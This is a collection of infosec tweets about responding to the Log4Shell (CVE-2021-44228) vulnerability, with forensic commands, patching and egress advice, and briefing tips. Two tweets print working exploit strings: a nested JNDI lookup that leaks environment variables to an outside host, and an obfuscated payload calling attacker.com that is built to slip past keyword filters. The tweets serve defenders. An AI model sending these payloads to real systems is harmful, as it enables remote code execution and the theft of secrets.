Good morning folks. If you're patching #log4j today on an Internet facing service, you need to be doing an incident response too. The reality is that someone else almost certainly beat you to it. Patching doesn't remove the existing compromise.
Another vuln where strict egress filtering would have greatly reduced possible impact to your environment. Make sure implementing egress filtering is part of your recovery plan. #log4j
Helpful Linux command-lines:
“find /tmp /var/tmp /dev/shm -type f \( -perm -0100 -o -perm -0001 \)”
Looks through tmpdirs for files with execute set for self or others—coin miners, install scripts, etc. #log4j
Side tweet (and cannot believe I'm writing this):
Managers & up in orgs, please read this thread.
If you call staff back in or cancel vacations to deal with log4j... yes, you *can* do that.
but...
I've prepared a @RealTryHackMe room to demonstrate #log4j#log4shell CVE-2021-44228, explaining the vulnerability, attack vector, and more importantly, detection, mitigations and patching. Working with THM staff to get this in your hands -- it should be available soon.
If you’re struggling with the Linux forensics in the wake of #log4j, archive.org/details/HalLinux… may help. As always, feel free to reach out—I’m here to help with everything from simple syntax questions all the way up to full consulting engagements.
There may be earlier exploitation, but “find / -mtime -4” is a good way to look for weekend #log4j carnage on your Linux servers. RCE is likely unprivileged, so focus first on [/var]/tmp, /dev/shm, and similar world-write directories.
Made 2 edits to deck from suggestions by @mubix
slight wording change to fix a small error.
Added a "how to do we avoid repeats?" slide.
Other constructive criticism welcomed! Will give credit if you want it. If you need to keep low profile, I'll say "some anonymous source"
If you've not already briefed your executives or board about Log4j, you will soon.
here's a powerful 4 page PPT deck you can use to get the issue across to them.
FYI: this was developed by myself and two execs who wish to remain nameless.
Please share!
infosecinnovations.com/post/…
#Log4J based on what I've seen, there is evidence that a worm will be developed for this in the next 24 to 48 hours.
Self propagating with the ability to stand up a self hosted server on compromised endpoints.
In addition to spraying traffic, dropping files, it will have c2c
In case anyone hasn't discovered this. The Log4J formatting is nestable which means payloads like
${jndi:ldap://${env:user}.xyz.collab.com/a}
Will leak server side env vars!
We’ve created a tool to help you detect applications that are vulnerable to CVE-2021-44228. (h/t @calebjstewart, @jslagle & @_JohnHammond)
This is intended for testing purposes only and should be used on systems you’re authorized to test. hubs.ly/Q010G3ZG0
If you're filtering on "ldap", "jndi", or the ${lower:x} method, I have bad news for you:
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
This gets past every filter I've found so far. There's no shortage of these bypasses.
#log4j
I will be teaching the @sansforensics FOR500 Windows Forensic Analysis course in San Juan, PR in January 2022 at the beautiful @gmsectec facilities. @SANSInstitute is coming to PR. Learn Computer Forensics with us. Registration Link below.
sans.org/cyber-security-even…
I wish I was as in love with SBOM as many people are. I feel the cries of overtaxed responders, drowning & looking for hope in prioritization.
Security response isn’t a romcom in which an SBOM hero leads to a happy ending to a crisis.
It’s still a horror show of asset management.
Just got off phone with a client. Log4j is in their network. Vendor claims patch will be available next release... which is multiple months from now.
Here's what you do if you're in this situation.
1. Keep calm. There's no need to panic.
2. Carefully read this thread.
1/?